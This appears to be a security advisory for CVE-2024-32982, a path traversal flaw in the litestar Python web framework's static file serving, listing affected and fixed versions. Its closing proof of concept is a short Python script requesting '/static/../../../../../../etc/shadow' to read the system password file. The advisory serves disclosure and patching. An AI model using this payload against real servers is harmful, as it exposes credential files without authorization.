Path Traversal Affecting litestar package, versions [2.0.0,2.6.4)[2.7.0,2.7.2)[2.8.0,2.8.3)
Threat Intelligence
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- published7 May 2024
- disclosed6 May 2024
- creditBrian Edgar Ré
Introduced: 6 May 2024
CVE-2024-32982 (opens in a new tab)How to fix?
Upgrade litestar to version 2.6.4, 2.7.2, 2.8.3 or higher.
Overview
litestar is a Litestar - A production-ready, highly performant, extensible ASGI API Framework
Affected versions of this package are vulnerable to Path Traversal through the static content serving function. An attacker can gain unauthorized access to sensitive files outside the designated directories by exploiting path traversal flaws in the file path handling mechanism.
Notes:
From versions 0.X.X through 1.X.X, the package was released under the name "starlite."
Starting with version 2.0.0 and for all subsequent versions, the package has been rebranded and released under the name "litestar."
PoC
import http.client
def send_request(host, port, path):
connection = http.client.HTTPConnection(host, port)
connection.request("GET", path)
response = connection.getresponse()
print(f"Status: {response.status}")
print(f"Headers: {response.getheaders()}")
data = response.read()
print(f"Body: {data.decode('utf-8')}")
connection.close()
send_request("localhost", 8000, "/static/../../../../../../etc/shadow")